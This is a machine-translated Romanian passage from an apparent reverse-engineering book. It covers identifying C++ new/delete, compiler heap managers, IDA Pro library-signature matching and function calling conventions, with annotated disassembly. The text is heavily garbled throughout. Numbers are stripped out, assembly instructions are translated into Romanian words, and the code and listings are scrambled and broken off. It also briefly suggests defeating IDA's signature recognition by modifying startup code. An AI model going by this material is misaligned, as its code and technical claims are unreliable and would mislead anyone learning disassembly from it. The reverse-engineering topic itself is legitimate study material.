un singur argument conegant ; foarte mică ca valoare, adică, evident, nu este o compensare ; Trecerea unui argument prin registru nu înseamnă nimic - Watcom ; vine cu multe funcții de bibliotecă, dimpotrivă, altele ; compilatoarele împing întotdeauna argumentul în stivă mov edx, eax test eax, eax ; Verificarea rezultatului returnat de o funcție să fie nul ; (ceea ce este tipic pentru noi) jz scurt loc A mov dword ptr [eax], offset BASE VTBL ; Da, funcția a returnat un pointer și un pointer către ; un tabel virtual (sau cel puțin o matrice de funcții) ; EAX este deja foarte asemănător cu acesta, dar pentru a fi sigur, ; sunt necesare caracteristici suplimentare IOS A: COD XREF: main +lAÎj mov ebx, [edx] mov eax, edx apelați dword ptr [ebx] ; Acum puteți fi sigur că EAX este acest pointer și acest cod ; și există un apel de funcție virtual' ; Prin urmare, funcția W?$nwm ui pnv este nouă ;(și cine altcineva ar putea returna asta?) Această problemă a fost discutată în detaliu în Capitolul , „Identificarea constructorului și a destructorului” Acest lucru va fi discutat mai detaliat în Capitolul , „Identificarea constantelor și decalajelor” Capitolul , Identificarea noilor și ștergerea ștergeți identificarea Este mai greu de identificat ștergerea Această funcție nu are nicio caracteristică Da, este nevoie de un singur argument - un pointer către regiunea de memorie pentru a fi eliberat, iar în marea majoritate a cazurilor acest indicator este acesta Dar, pe lângă ștergere, acest indicator acceptă zeci, dacă nu sute, de alte funcții! Adevărat, există o diferență subtilă între ele - ștergerea duce în cele mai multe cazuri acest indicator prin stivă, iar restul funcțiilor prin registru Din păcate, unele compilatoare (cum ar fi Watcom) trec argumente către multe funcții de bibliotecă prin registre, ascunzând astfel toate diferențele! O altă caracteristică este că ștergerea nu returnează nimic Dar, în același timp, există multe funcții care fac exact același lucru? Singura captură este că apelul de ștergere urmează apelul către destructor (dacă există unul), dar din moment ce destructorul este identificat ca funcția care precede ștergerea, se formează un cerc vicios! Nu mai rămâne altceva decât să-i analizăm conținutul - ștergeți mai devreme sau mai târziu apelurile HeapFree (deși există și opțiuni aici - de exemplu, Borland conține biblioteci care funcționează cu heap-ul la un nivel scăzut și liberă memorie apelând virtualFree) Din fericire, IDA Pro recunoaște ștergerea în majoritatea cazurilor și nu trebuie să vă epuizați Abordări de implementare heap În unele, apropo, destul de multe ghiduri de programare C++ (de exemplu, Jeffrey Richter „Windows pentru profesioniști” ), există apeluri pentru a aloca întotdeauna memorie folosind noi, și nu malloc, deoarece new se bazează pe facilități eficiente de gestionare a memoriei sistem de operare și malloc își implementează propriul manager de heap (și destul de lent) Acestea sunt toate întinderi! Standardul nu spune nimic despre implementarea heap-ului și este imposibil să spunem în avans care funcție va fi mai eficientă Totul depinde de bibliotecile specifice ale unui anumit compilator Să luăm în considerare modul în care memoria este gestionată în bibliotecile standard a trei compilatoare populare: Microsoft Visual C++, Borland C++ și Watcom C++ În Microsoft Visual C++, atât malloc, cât și new sunt adaptoare la aceeași funcție nh malloc, așa că le puteți folosi pe ambele cu același succes se nh malloc apelează heap alloc, care la rândul său apelează funcția API Windows NearAIOs Notă Este de remarcat faptul că heap alloc are un cârlig care face posibilă apelarea propriul manager heap, dacă dintr-un motiv oarecare cel de sistem este indisponibil Cu toate acestea, în Microsoft Visual C ++ , a rămas doar un wrapper din interceptor și propriul manager heap a fost exclus Totul este greșit în Borland C++! În primul rând, acest compilator funcționează direct cu memoria virtuală Windows prin implementarea propriului manager de heap bazat pe funcțiile virtualAlloc/VirtualFree Profilarea arată că pierde serios în performanță față de Windows , ca să nu mai vorbim de faptul că introducerea unui cod suplimentar în program crește dimensiunea acestuia În al doilea rând: new apelează funcția malloc și o apelează nu direct, ci prin mai multe straturi de cod „wrapper”! Prin urmare, contrar tuturor recomandărilor, sub Borland C++ malloc este mai eficient decât nou! Compilatorul Watcom (cel puțin a unsprezecea versiune) implementează new și malloc într-un mod aproape identic - ambele se referă la nmalloc, un înveliș foarte gros în jurul LocalAlloc Da, da — o caracteristică Windows pe biți, care în sine este o punte către aproape Aios! De aici morala - toate concluziile, înainte de a le transfera pe hârtie, trebuie verificate cu atenție Jeffrey Richter „Windows pentru profesioniști” - Sankt Petersburg: Peter, ediția rusă, Capitolul Identificarea funcțiilor bibliotecii Când citim textul unui program scris într-un limbaj de nivel înalt, studiem doar în cazuri excepționale implementarea funcțiilor standard de bibliotecă, cum ar fi, de exemplu, printf Și de ce? Scopul său este deja cunoscut și, dacă există ambiguități, puteți oricând să vă uitați la descriere Analiza textului dezasamblat este o altă chestiune Numele de funcții, cu rare excepții, sunt absente din el și este imposibil să se determine dacă este printf sau altceva „dintr-o privire” Trebuie să pătrundem în algoritm Ușor de zis! Aceeași funcție printf este un interpret de șiruri de specificatori complex - nu vă puteți da seama imediat! Dar există funcții mai complexe Cel mai enervant lucru aici este că algoritmul muncii lor nu are nimic de-a face cu analiza programului studiat Același operator nou poate să aloce memorie din heap-ul Windows și să implementeze propriul manager, dar ce contează asta pentru noi? Este suficient să știți că acesta este exact nou, adică e o funcție de alocare a memoriei, nu, să zicem, liberă sau fopen Ponderea funcțiilor bibliotecii în program este în medie de la cincizeci la nouăzeci la sută Este deosebit de ridicat pentru programele scrise în medii de dezvoltare vizuală care utilizează generarea automată de cod (de exemplu, Microsoft Visual С++, Delphi) În același timp, funcțiile bibliotecii sunt uneori mult mai complicate și confuze decât codul banal al programului în sine Desigur, este o rușine, deoarece partea leului din eforturile de a analiza programul este irosită Cum ați optimiza acest proces? Capacitatea unică a IDA Pro de a distinge între funcțiile standard de bibliotecă de la mai multe compilatoare este un avantaj major față de majoritatea celorlalte dezasamblatoare care nu pot Din păcate, nici cu IDA Pro nu este atât de simplu Oricât de extinsă este lista bibliotecilor acceptate, este posibil ca anumite versiuni ale anumitor furnizori sau modele de memorie să nu fie disponibile Și atunci când lucrați cu biblioteci cunoscute cunoscute de IDA Pro, nu toate funcțiile sunt recunoscute (motivele vor fi discutate puțin mai târziu) Cu toate acestea, o funcție nerecunoscută nu este atât de rea, mult mai rea decât situația în care funcția este recunoscută incorect Acest lucru duce la erori (uneori subtile) în analiza programului studiat sau încurcă cercetătorul De exemplu, funcția fopen este apelată, iar rezultatul returnat de aceasta este transmis funcției libere după un timp - pe de o parte, acest rezultat pare plauzibil Într-adevăr, de ce nu? La urma urmei, fopen returnează un pointer către structura fișierului și îl șterge gratuit Și dacă gratuit nu este deloc gratuit, dar, să zicem, fseek? Omitând operația de poziționare, nu vom putea restabili corect structura fișierului cu care funcționează programul Recunoașterea erorilor în IDA Pro va fi mai ușoară dacă înțelegeți exact cum se realizează recunoașterea funcțiilor Din anumite motive, mulți oameni cred că aici este implicat un calcul trivial CRC (sumă de control) Ei bine, acesta este un algoritm tentant, dar, din păcate, nu este potrivit pentru rezolvarea acestei probleme Principala piatră de poticnire este prezența fragmentelor nepermanente, și anume a elementelor relocabile Și deși atunci când se calculează CRC, elementele mutate pot fi pur și simplu ignorate (amintindu-ne să faci aceeași operație în Capitolul Identificarea funcţiilor bibliotecii funcții), dezvoltatorul IDA Pro a luat o cale diferită, mai complicată și ornamentată, dar și mai rapidă Ideea cheie este că nu este nevoie să petreceți timp calculând CRC, deoarece o comparație trivială caracter cu caracter este destul de potrivită pentru identificarea preliminară a unei funcții, minus elementele mutate (sunt ignorate și nu participă la comparație) ) Mai exact, nu o comparație, ci o căutare pentru o anumită secvență de octeți într-o bază de date de referință organizată ca un arbore binar Se știe că timpul de căutare binară este proporțional cu logaritmul numărului de înregistrări din baza de date Bunul simț dictează că lungimea șablonului (cu alte cuvinte, semnătura - adică secvența comparată) ar trebui să fie suficientă pentru a identifica în mod unic funcția Cu toate acestea, dezvoltatorul IDA Pro, din motive necunoscute, a decis să se limiteze doar la primii treizeci și doi de octeți Trebuie remarcat faptul că aceasta este destul de mică, mai ales având în vedere deducerea prologului, care este aproape aceeași pentru toate funcțiile Și corect! Destul de multe funcții cad pe aceeași frunză a copacului - apare o coliziune - o ambiguitate a identificării Pentru a rezolva situația, se calculează CRC pentru toate funcțiile de „coliziune”, începând de la octetul de treizeci de secunde până la primul element mutat, iar apoi valoarea rezultată este comparată cu CRC al funcțiilor de referință Cel mai adesea acest lucru „funcționează”, dar dacă primul element care trebuie mutat este prea aproape de octetul de treizeci de secunde, atunci secvența de calcul a sumei de control va fi prea scurtă În unele cazuri, și anume, dacă octetul de treizeci de secunde se dovedește a fi un element relocabil (și o astfel de situație este posibilă), secvența de calcul a sumei de control poate fi chiar egală cu zero În cazul unei coliziuni repetate, ar trebui să găsiți octetul în funcțiile în care diferă toate și să vă amintiți decalajul său în bază Deci algoritmul folosit de IDA Pro este departe de a fi perfect Comparația caracter cu caracter nu este completă, ci doar treizeci și doi de octeți, numărarea CRC nu este pentru întreaga funcție, ci pentru un fragment de lungime aleatorie În cele din urmă, chiar și ultimul octet cheie nu este un octet cheie în sensul deplin al cuvântului! Cert este că multe funcții sunt aceleași până la un octet, dar în același timp sunt complet diferite ca nume și scop Nu crezi? Apoi priviți exemplul din Listarea Lista Un exemplu care ilustrează coincidența funcțiilor cu scopuri diferite într-un octet push ebp mov ebp,esp sunați read pop ebp ret push mov apel pop ret ebp ebp,esp scrie ebp Aici nu te poți descurca fără analiza elementelor mutate! Mai mult, acest exemplu nu este nici artificial, nici artificial Există multe astfel de funcții În special, bibliotecile din Borland sunt pline de ele Deloc surprinzător, IDA Pro „se împiedică” adesea și cade în gafe Luați, de exemplu, următoarea funcție (Listing ) Lista Un exemplu de funcție recunoscută incorect de IDA Pro void demo (void) printf("DERIVAT\n"); Versiunea a IDA Pro greșește denumindu-l pure error (Listing ) Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt COD: F eroare pură proc lângă COD: F COD: F COD: F COD: FB COD: COD: COD: COD: push mov push call pop pop retn ebp ebp, special offset aDerivat printf ecx ebp pur ergo- endp ; DATE XREF: DATA: BCio format Inutil să spun, ce consecințe neplăcute pentru analiză poate avea această eroare? Pentru a reduce numărul de erori, IDA Pro încearcă să recunoască compilatorul după codul de pornire, încărcând doar biblioteca semnăturilor sale De aici rezultă că „orbirea” IDA este foarte simplă - doar modificați puțin codul de pornire Deoarece de obicei vine cu compilatorul în codul sursă, acest lucru ar trebui să fie ușor de făcut Cu toate acestea, schimbarea unui octet la începutul funcției de pornire este suficientă Din fericire, IDA Pro oferă posibilitatea de a încărca manual baza de date de semnături Cu toate acestea, este destul de dificil să determinați manual ce versiune a semnăturilor bibliotecii trebuie încărcată! La întâmplare - prea lung Este bine dacă puteți identifica vizual compilatorul (cercetătorii cu experiență reușesc de obicei, deoarece fiecare dintre compilatori are propria „scriere de mână”) unică În plus, există o posibilitate fundamentală de a utiliza biblioteci de la livrarea unui compilator într-un program compilat de un alt compilator Pe scurt, fiți pregătiți pentru faptul că la un moment dat veți întâmpina nevoia de a identifica în mod independent funcțiile bibliotecii Rezolvarea problemei constă în două etape Prima este definirea faptului însuși al funcției „bibliotecă”, a doua este definiția originii bibliotecii și, în final, a treia este identificarea funcției de către această bibliotecă Să profităm de faptul că linkerul listează de obicei funcțiile în ordinea modulelor obiect și a bibliotecilor, iar majoritatea programatorilor își listează mai întâi propriile module obj, iar în al doilea rând bibliotecile Pe baza celor spuse, putem concluziona că funcțiile de bibliotecă sunt plasate la sfârșitul programului, iar codul său real este plasat la începutul acestuia Desigur, există și excepții de la această regulă, dar încă funcționează destul de des Luați în considerare, de exemplu, structura binecunoscutului program pkzip exe În diagrama construită de IDA (Fig ), puteți vedea că toate funcțiile bibliotecii sunt concentrate la sfârșitul segmentului de cod, aproape adiacent segmentului de date Cel mai interesant lucru aici este că funcția de pornire în marea majoritate a cazurilor este situată chiar la începutul regiunii funcțiilor bibliotecii sau este situată în imediata apropiere a acesteia Găsirea acestei funcții ca atare nu este o problemă - coincide cu punctul de intrare în fișier! Astfel, putem afirma cu un grad ridicat de certitudine că toate funcțiile situate „sub” pornire (adică la adrese mai înalte) sunt funcții de bibliotecă Vezi dacă aceste funcții sunt recunoscute automat sau trebuie să o faci manual? De obicei, există două situații: □ Nicio funcție nu este recunoscută □ Numai o parte din funcții nu sunt recunoscute Dacă nu este recunoscută nicio funcție, atunci cel mai probabil dezasamblatorul IDA Pro nu a reușit să recunoască compilatorul (sau au fost utilizate versiuni necunoscute ale bibliotecilor) Tehnica recunoașterii Acest lucru se face folosind comenzile de meniu Fișier | Încărcați fișierul | Fișier de semnătură FLIRT Compilatorii fac exact același lucru, apelând linkerul pe cont propriu la sfârșitul lucrării lor Capitolul Identificarea funcţiilor bibliotecii compilatorii merită o discuție specială, dar ne vom ocupa chiar acum de recunoașterea versiunii bibliotecii Orez Structura programului pkzip exe Rețineți că toate funcțiile bibliotecii sunt concentrate la sfârșitul segmentului de cod înainte de începutul segmentului de date În primul rând, multe dintre ele conțin informații despre drepturile de autor cu numele numelui producătorului și versiunea bibliotecii - doar căutați șiruri de text în fișierul binar Dacă nu sunt acolo, nu contează - căutăm orice alte șiruri de text (de regulă, mesaje de eroare) și printr-o simplă căutare contextuală încercăm să găsim informațiile necesare în toate bibliotecile pe care le putem „ajunge” la" Rețineți că un hacker trebuie să aibă la dispoziție o bibliotecă mare de compilatoare și biblioteci În acest caz, sunt posibile următoarele opțiuni: A Nu există alte șiruri de text A Există șiruri de caractere, dar nu sunt unice - se găsesc în multe biblioteci □ Fragmentul dorit nu a fost găsit nicăieri În primele două cazuri, ar trebui să extrageți dintr-una sau mai multe funcții de bibliotecă o secvență caracteristică de octeți care nu conține elemente relocabile și să încercați din nou să o găsiți în toate bibliotecile disponibile pentru dvs Dacă acest lucru nu ajută, atunci vai, asta înseamnă că nu ai biblioteca pe care o cauți Situația este dificilă, dar nu fără speranță! Desigur, nu va mai fi posibilă restaurarea automată a denumirilor funcțiilor, dar mai există speranțe pentru o clarificare rapidă a scopului funcțiilor Numele funcțiilor API Windows numite din biblioteci identifică cel puțin categoria bibliotecii (ex fișier, memorie, grafică etc ) Funcțiile matematice sunt de obicei bogate în instrucțiuni de coprocesor Dezasamblarea este foarte asemănătoare cu rezolvarea unui puzzle de cuvinte încrucișate (deși nu este un fapt că hackerilor le place să rezolve cuvinte încrucișate) - cuvintele necunoscute sunt ghicite în detrimentul celor cunoscute Așa cum se aplică acestei situații - în unele contexte, denumirea funcției rezultă din utilizarea acesteia De exemplu, cerem utilizatorului o parolă, o transmitem funcției x împreună cu parola de referință, iar dacă rezultatul finalizării este zero, scriem „parola OK” și, în consecință, invers Intuiția ta nu îți spune că funcția x nu este altceva decât strcmp? Desigur, acesta este cel mai simplu caz Cu toate acestea, în orice situație, confruntat cu o subrutină necunoscută, nu vă grăbiți să disperați În schimb, parcurgeți toate aparițiile, acordând atenție codului, când și de câte ori Analiza statistică pune în lumină multe (funcțiile, precum literele alfabetului, fiecare apar cu propria frecvență), iar dependența contextuală oferă de gândit Deci, de exemplu, funcția de citire dintr-un fișier nu poate precede funcția de deschidere! Alte cârlige: argumente și constante Ei bine, argumentele sunt mai mult sau mai puțin clare Dacă funcția primește un șir, atunci aceasta este evident o funcție din bibliotecă pentru lucrul cu șiruri, iar dacă este o valoare reală, atunci probabil este o funcție a bibliotecii matematice Numărul și tipul de argumente (dacă sunt luate în considerare) restrâng destul de mult gama de posibili candidați Cu constante Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt chiar mai simplu - o mulțime de funcții iau un steag ca argument, care poate avea una dintre mai multe valori posibile Cu excepția flag-urilor de biți, care sunt toate similare, este destul de comun ca steaguri acceptate de funcții să aibă valori unice Deși nu identifică în mod unic funcția, totuși restrâng semnificativ cercul „suspecților” Și funcțiile în sine pot conține constante caracteristice Să spunem, dacă întâlniți un polinom CRC standard, puteți fi sigur că funcția suspectă calculează suma de control Se poate obiecta că, spun ei, tot acest B particular este posibil, dar, după ce au identificat unele dintre funcții, atribuirile celorlalte pot fi deja calculate „prin contradicție” sau, cel puțin, pentru a înțelege ce fel de bibliotecă este este și unde să-l cauți În cele din urmă, identificarea algoritmilor (adică alocarea de funcții) facilitează foarte mult cunoașterea algoritmilor înșiși În special, codul care efectuează compresia LZ (decompresie) este atât de caracteristic încât este recunoscut dintr-o privire - este suficient să cunoașteți acest mecanism de ambalare Dimpotrivă, dacă nu ai idee despre asta, atunci va fi foarte, foarte greu să analizezi programul Notă De ce să reinventezi roata când poți lua ceea ce este deja acolo? Deși există o părere că un hacker este, în primul rând, un cracker și abia apoi un programator, dar în viața reală totul este „exact opus”, programul va funcționa „Cum este exact al zecelea lucru, dar va funcționa „cel puțin cumva”Hacker-ul are nevoie de cunoștințe de algoritmi - fără acest lucru nu veți merge departe (deși, desigur, puteți „despărți „numărul de serie fără matematică superioară) Este clar că bibliotecile au fost create tocmai pentru asta, pentru a-i scuti pe dezvoltatori de a fi nevoiți să pătrundă în domenii necunoscute, fără de care obișnuiau să se descurce bine Din păcate, cercetătorii de software nu au căi ușoare Analizarea funcțiilor bibliotecii este cel mai greu aspect al dezasamblarii și este grozav să le poți identifica numele după semnături Capitolul Identificarea argumentului funcției Identificarea argumentelor funcției este o verigă cheie în studiul programelor dezasamblate Așa că pregătește-te pentru ca acest capitol să fie lung și posibil plictisitor Dar nu este nimic de făcut - hacking-ul necesită sacrificii! Există trei moduri de a transmite argumente de funcție: prin stivă, prin registre și combinate (prin stivă și registre în același timp) Strâns adiacent acestei liste este trecerea implicită a argumentelor prin variabile globale Argumentele în sine pot fi transmise fie prin valoare (prin valoare), fie prin referință (prin referință) În primul caz, o copie a variabilei corespunzătoare este transmisă funcției, iar în al doilea, un pointer către variabila ca atare Convenții de trecere a parametrilor Pentru o colaborare reușită, funcția de apelare nu trebuie doar să cunoască prototipul funcției apelate, ci și să fie „de acord” cu acesta asupra metodei de transmitere a argumentelor: prin referință sau prin valoare, prin registre sau prin stivă? Dacă prin registre, atunci specificați ce argument și ce registru este plasat, iar dacă prin stivă, determinați ordinea în care sunt introduse argumentele și selectați „responsabilul” pentru ștergerea stivei de argumente după finalizarea funcției apelate Ambiguitatea mecanismului de transmitere a argumentelor este unul dintre motivele incompatibilității diferitelor compilatoare S-ar părea, de ce nu forțați toți producătorii de compilatoare să adere la o singură schemă? Din păcate, această abordare va aduce mai multe probleme decât va rezolva Fiecare mecanism are propriile sale avantaje și dezavantaje și, și mai rău, este strâns legat de limbajul în sine În special, libertățile lui C în ceea ce privește respectarea prototipurilor de funcție sunt posibile tocmai pentru că argumentele sunt împinse din stivă nu de către funcția apelată, ci de către funcția de apelare, care cu siguranță „își amintește” ce a trecut De exemplu, două argumente sunt transmise funcției principale - numărul de comutatoare ale liniei de comandă și un pointer către o matrice care le conține Cu toate acestea, dacă programul nu funcționează cu linia de comandă (sau obține cheia într-un alt mod), prototipul principal poate fi, de asemenea, declarat ca principal () Pe Pascal, un astfel de truc ar duce fie la o eroare de compilare, fie la blocarea programului, deoarece în el stiva este șters de funcția numită direct Dacă nu face acest lucru (sau face greșit, împingând în afară același număr de cuvinte mașină care i-au fost transferate), atunci stiva va fi dezechilibrată, ceea ce se va termina cu colaps complet Pentru a spune mai precis, toate adresele variabilelor locale vor „zbura” din funcția părinte și în loc de adresa de retur, ceva imprevizibil va apărea pe stivă O descriere mai detaliată a transmiterii implicite a argumentelor va fi dată în Capitolul „Identificarea variabilelor globale” Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt Dezavantajul soluției C este o ușoară creștere a dimensiunii codului generat, deoarece după fiecare apel de funcție, trebuie să inserați o comandă de mașină (uneori chiar mai multe) pentru a scoate argumentele din stivă, iar în Pascal acest lucru comanda este inclusă direct în funcție și, prin urmare, apare în program o singură dată Negăsind un „mijloc de aur”, dezvoltatorii compilatorului au decis să folosească toate mecanismele posibile de transfer de date Pentru a face față problemei de compatibilitate, dezvoltatorii au standardizat fiecare dintre mecanisme introducând o serie de convenții □ Convenția C (notată cu cdecl) specifică faptul că argumentele să fie împinse în stivă de la dreapta la stânga în ordinea în care sunt declarate, iar curățarea stivei este responsabilitatea funcției de apelare Numele de funcții care urmează convenția C sunt prefixate cu o liniuță de subliniere ( ) introdusă automat de compilator Acest indicator (în programele C++) este trecut prin stivă ca ultimul argument □ Convenția Pascal (notată Pascal ) dictează ca argumentele să fie împinse în stivă de la stânga la dreapta în ordinea în care sunt declarate și este la latitudinea apelantului să curețe stiva □ Convenția standard (notată stdcall) este un hibrid de C- și Pascal- acorduri Argumentele sunt împinse pe stivă de la dreapta la stânga, dar funcția apelată în sine șterge stiva Numele de funcții care urmează convenția standard sunt prefixate cu o liniuță de subliniere ( ) și se termină cu un sufix urmat de numărul de octeți transmis funcției Acest indicator (în programele C++) este trecut prin stivă ca ultimul argument □ Convențiile de comenzi rapide necesită ca argumentele să fie trecute prin registre Compilatorii de la Microsoft și Borland acceptă cuvântul cheie fastcall, dar interpretează este diferit, iar Watcom C++ nu acceptă deloc cuvântul cheie fastcall, dar are în „arsenalul” său un pragma aix special, care vă permite să selectați manual registrele pentru transmiterea argumentelor Numele funcțiilor care urmează convenția fastcall sunt prefixate cu simbolul @, care este inserat automat de către compilator □ Acord implicit Dacă nu există o declarație explicită a tipului de apel, compilatorul folosește de obicei propriile convenții, alegându-le după cum crede de cuviință Acest indicator este cel mai afectat - majoritatea compilatorilor îl transmit în registru în mod implicit atunci când sunt apelați Pentru Microsoft este exx, pentru Borland este eax, pentru Watcom este fie eax, fie edx, sau ambele Alte argumente pot fi, de asemenea, trecute prin registre dacă optimizatorul consideră că aceasta este cea mai bună abordare Mecanismul de trecere și logica de preluare a argumentelor sunt diferite pentru toate compilatoarele Este imposibil să le prezici în avans, motiv pentru care este necesar să înțelegem situația Ținte și obiective Când studiază o funcție, cercetătorul se confruntă cu următoarele sarcini: □ Stabiliți ce convenție este utilizată pentru apel □ Numărați numărul de argumente transmise funcției (și/sau utilizate de funcție) □ Aflați tipul și scopul argumentelor în sine Putem incepe? Tipul de acord este identificat aproximativ de modul în care stiva este eliminată Dacă funcția apelată o șterge, avem de-a face cu cdecl, în caz contrar, fie cu stdcall, fie cu Pascal Această incertitudine în identificare se datorează faptului că adevăratul prototip al funcției este necunoscut și, prin urmare, ordinea în care argumentele sunt împinse pe stivă nu poate fi determinată Singurul indiciu: cunoscând compilatorul și presupunând că programatorul a folosit tipul de apel implicit, puteți rafina tipul de apelare a funcției Cu toate acestea, în programele sub Windows În prezent, cuvântul cheie Pascal este considerat învechit și practic depășit, iar convenția similară Winapi este folosită în schimb Capitolul Identificarea argumentelor funcției Ambele tipuri de apeluri sunt utilizate pe scară largă: atât Pascal (aka Winapi), cât și stdcall deci încă rămâne incertitudinea Totuși, ordinea de transmitere a argumentelor nu schimbă nimic - având ambele funcții disponibile - atât apelarea cât și apelarea, puteți oricând stabili o corespondență unu-la-unu între argumentele transmise și primite Mai simplu spus, dacă ordinea reală de transmitere a argumentelor este cunoscută (și va fi cunoscută - vezi funcția de apelare), atunci nu este nevoie să cunoaștem ordinea argumentelor din prototipul funcției Un alt lucru sunt funcțiile de bibliotecă al căror prototip este cunoscut Cunoscând ordinea în care argumentele sunt împinse în stivă, puteți restabili automat tipul și scopul argumentelor din prototip! Determinarea numărului și tipului de trecere a argumentului După cum am menționat mai devreme, argumentele pot fi trecute fie prin stivă, fie prin registre, fie atât prin stivă, cât și prin registre deodată și, de asemenea, implicit prin variabile globale Dacă stiva ar fi folosită doar pentru a transmite argumente, ar fi relativ ușor să le numărăm Din păcate, stiva este folosită activ și pentru stocarea temporară a registrelor cu date Prin urmare, atunci când întâlniți o instrucțiune push, faceți-vă timp pentru a o identifica ca un argument Este imposibil să aflați numărul de octeți trecuți funcției ca argumente Cu toate acestea, este destul de ușor să determinați numărul de octeți ieșiți din stivă după ce funcția se termină! Dacă funcția urmează convenția stdcall (sau Pascal), cu siguranță va șterge stiva cu ret n, unde n este valoarea în octeți pe care o căutați Mai rău cu funcțiile cdecl În cazul general, apelul lor este urmat de instrucțiunea add esp,r, unde n este valoarea dorită în octeți, dar sunt posibile și variații, de exemplu, ștergerea întârziată a stivei sau împingerea argumentelor într-un registru liber Cu toate acestea, deocamdată, ne limităm la gama de compilatoare neoptimizatoare Este logic să presupunem că numărul de octeți împinși pe stivă este egal cu numărul de octeți apăsați - în caz contrar, după ce funcția se termină, stiva va fi dezechilibrată și programul se va prăbuși Prin urmare: numărul de argumente este egal cu numărul de octeți transferați împărțit la dimensiunea cuvântului mașinii* Este corect? Nu! Nu orice argument ocupă exact un element al stivei Luați același tip dublu, „eating off” opt octeți, sau un șir de caractere transmis nu prin referință, ci prin valoare directă - va dura cât de mulți octeți este nevoie În plus, un șir (precum și o structură de date, o matrice, un obiect) poate fi împins pe stivă nu cu comanda push, ci cu ajutorul mișcărilor! Apropo, prezența mișcărilor este o dovadă clară a transmiterii unui argument după valoare Deci, analizând codul funcției de apelare, este imposibil să se determine numărul de argumente trecute prin stivă, chiar și numărul de octeți transferați este determinat foarte incert Cu tipul de transfer, întuneric complet Mai târziu, în capitolul , „Identificarea constantelor și decalajelor”, vom reveni la asta mai târziu, dar deocamdată iată un exemplu: push Qx / call MyFunct: x - ce este: un argument trecut prin valoare (adică constantă x ) sau un pointer către ceva situat la offset x (și apoi, prin urmare, transferul are loc prin referință)? Imposibil de determinat, nu? Dar nu vă faceți griji, situația nu este fără speranță și ne vom lupta în continuare! Majoritatea problemelor sunt rezolvate prin analiza funcției numite După ce ne-am dat seama cum manipulează argumentele care i-au fost transmise, vom stabili atât tipul cât și numărul acestora! Pentru a face acest lucru, va trebui să ne familiarizăm cu abordarea argumentelor din stivă, dar înainte de a începe, să aruncăm o privire rapidă la încălzire la exemplul din Lista - Faptul că optimizarea complianților cu toleranțe generează dezechilibru într-o anumită zonă, vom notifica, dar să vorbim despre asta YuM Cuvântul mașină nu este doar doi octeți, ci și dimensiunea operanzilor în mod implicit, în modul de de biți, cuvântul mașină este de patru octeți Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt Lista L Demonstrarea mecanismului de trecere a argumentelor #include #include struct XT{ char sO[ ]; intX; }; void MyFunc (double a, struct XT xt) ( printf("%f,%x,%s\n",a,xt x,&xt sO[ ] ) ,- } principal() structXTxt; strcpy(&xt sO[ ],"Bună, lume!"); xt x= x ; MyFunc( ,xt); Rezultatul compilării acestuia cu compilatorul implicit Microsoft Visual C++ arată ca Lista - Lista - , Compilarea exemplului din Lista - cu compilatorul Microsoft Visual C++ Proc principal lângă ; COD XREF: start+AF^p var = octet ptr - h var = dword ptr - împinge ebp mov ebp, esp sub esp, h ; Prima PUSH se referă în mod explicit la prologul funcției, nu la cele trecute ; argumente împinge esi push edi ; Lipsa inițializării explicite a registrelor sugerează mai degrabă acest lucru ; dintre toate, ele sunt pur și simplu stocate pe stivă, mai degrabă decât să fie trecute ca argumente ; Cu toate acestea, dacă argumentele au fost transmise acestei funcții nu numai prin ; stivă, dar și prin registrele ESI și EDI, apoi împingerea lor în stivă s-ar putea bine ; urmăriți scopul de a transmite argumente la următoarea funcție push offset aHelloWorld ; "Salut Lume'" ; Da, dar aici argumentul este transmis în mod clar - un indicator către ; linia Deși teoretic este posibil să stocați temporar o constantă în ; stivă pentru împingerea sa ulterioară într-un registru, Strict vorbind, probabil că este cazul — vezi Capitolul , „Identificarea constantelor și decalajelor” Capitolul Identificarea argumentelor funcţiei ; sau acces direct la stiva, niciunul dintre cele cunoscute ; compilatorii nu sunt capabili de astfel de trucuri și împinge o constantă în stivă; este întotdeauna un argument trecut lea eax, [ebp+var ] ; EAX conține un pointer către un buffer local împinge max ; EAX (pointer către buffer local) este stocat pe stivă ; Întrucât seria argumentelor este continuă, după recunoașterea primei ; argument, nu există nicio îndoială că toate derivele ulterioare ale ceva ; niciunul nu era pe stivă - de asemenea, argumente sunați la strcpy ; Prototipul funcției strcpy(char *, char *) nu permite definirea ; ordinea introducerii argumentelor, totuși, deoarece toate bibliotecile C- ; funcțiile urmează convenția cdecl, apoi argumentele sunt listate în dreapta ; la stânga, iar codul sursă arăta astfel: strcpy(&buff[ ],"Hello,World!") ; Dar poate că programatorul a folosit conversia, să zicem, în ; stdcall? Este foarte puțin probabil - pentru aceasta ar fi necesar ; recompilați funcția strcpy în sine - altfel de unde ar ști ; ca s-a schimbat ordinea introducerii argumentelor? Deși de obicei standard ; bibliotecile sunt furnizate cu texte sursă, recompilarea acestora ; aproape nimeni nu o face adăugați esp, ; Scoateți octeți din stivă De aici concluzionăm că funcţiile ; au fost transmise două cuvinte mașină de argumente și, prin urmare, PUSH ESI ; și PUSH EDI nu au fost argumente ale funcției mov[ebp+var ], h ; Introducem constanta x în variabila locală Este clar o constantă și ; nu este un pointer, deoarece Windows nu poate stoca; fără date despre utilizator sub esp, h ; Rezervarea memoriei pentru o variabilă temporară variabile temporare, ; în special, sunt create atunci când se transmit argumente după valoare, prin urmare, ; Să fim pregătiți pentru faptul că următorul „tovarăș” este argument muta ex, ; Introduceți constanta x în ECX Nu se știe încă de ce lea esi, [ebp+var ] ; Încărcăm în ESI un pointer către un buffer local care conține ; șirul copiat „Hello, World ” mov edi, esp ; Copiem indicatorul în partea de sus a stivei în EDI repe movsd ; Aici este - trecerea unui șir după valoare Întregul șir este copiat în ; stivă, consumând * octeți din el ; ( este valoarea contorului ECX, iar este dimensiunea cuvântului dublu - movsD) Vezi Capitolul , „Identificarea registrului și a variabilelor temporare” Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; Prin urmare, acest argument ocupă ( x ) octeți ai stivei ; spațiu - această cifră va fi utilă la determinarea sumei ; argumente după numărul de octeți de împins ; Datele de la [ebp+var ] la [ ebp+var - x ) sunt copiate pe stivă, adică ; de la vag la vag Dar var conține constanta x , ; prin urmare, va fi transmis funcției împreună cu șirul ; Acest lucru ne permite să recreăm structura originală: ; Structura X{ ; char s [ ] int x ; unu ; Da, funcția, se pare, este o structură, nu o singură linie apăsați AA D h apăsați A 